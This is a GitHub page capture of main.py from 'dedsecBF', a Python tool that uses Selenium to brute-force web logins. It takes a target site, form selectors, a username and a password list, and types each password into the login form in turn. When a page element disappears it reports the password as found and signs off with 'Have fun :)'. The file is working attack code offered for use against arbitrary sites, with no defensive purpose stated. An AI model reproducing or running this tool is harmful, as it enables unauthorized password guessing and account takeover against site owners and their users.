forked from R3tr0gh057/dedsecBF
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
134 lines (114 loc) · 5.32 KB
/
main.py
File metadata and controls
134 lines (114 loc) · 5.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import sys
import datetime
import selenium
import requests
import time as t
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
#Graphics
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
CWHITE = '\33[37m'
#Config#
parser = OptionParser()
now = datetime.datetime.now()
#Args
parser.add_option("-u", "--username", dest="username",help="Choose the username")
parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector")
parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
parser.add_option("--website", dest="website",help="choose a website")
(options, args) = parser.parse_args()
def wizard():
print (banner)
website = input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
sys.stdout.flush()
t.sleep(1)
try:
request = requests.get(website)
if request.status_code == 200:
print (color.GREEN + '[OK]'+color.CWHITE)
sys.stdout.flush()
except selenium.common.exceptions.NoSuchElementException:
pass
except KeyboardInterrupt:
print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
exit()
except:
t.sleep(1)
print (color.RED + '[X]'+color.CWHITE)
t.sleep(1)
print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
exit()
username_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
password_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
login_btn_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
username = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
pass_list = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
f = open(pass_list, 'r')
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
browser = webdriver.Chrome(chrome_options=optionss)
wait = WebDriverWait(browser, 10)
while True:
try:
for line in f:
browser.get(website)
wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, login_btn_selector)))
Sel_user = browser.find_element(By.CSS_SELECTOR, username_selector) #finds the username selector
Sel_pas = browser.find_element(By.CSS_SELECTOR, password_selector) #finds the password selector
enter = browser.find_element(By.CSS_SELECTOR, login_btn_selector) #finds the login button
Sel_user.send_keys(username)
Sel_pas.send_keys(line)
print ('------------------------')
print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
print ('------------------------')
except KeyboardInterrupt: #returns to main menu if ctrl C is used
print('CTRL C')
break
except selenium.common.exceptions.NoSuchElementException:
print ('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
print ('LAST PASS ATTEMPT BELLOW')
print (color.GREEN + 'Password has been found: {0}'.format(line))
print (color.YELLOW + 'Have fun :)')
exit()
banner = color.BOLD + color.RED +'''
DEDSEC_BRUTEFORCE
{0}[{1}-{2}]--> {3}V.2.5
{4}[{5}-{6}]--> {7}coded by R3tr0
{8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)
if options.username == None:
if options.usernamesel == None:
if options.passsel == None:
if options.loginsel == None:
if options.passlist == None:
if options.website == None:
wizard()
username = options.username
username_selector = options.usernamesel
password_selector = options.passsel
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print (banner)
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)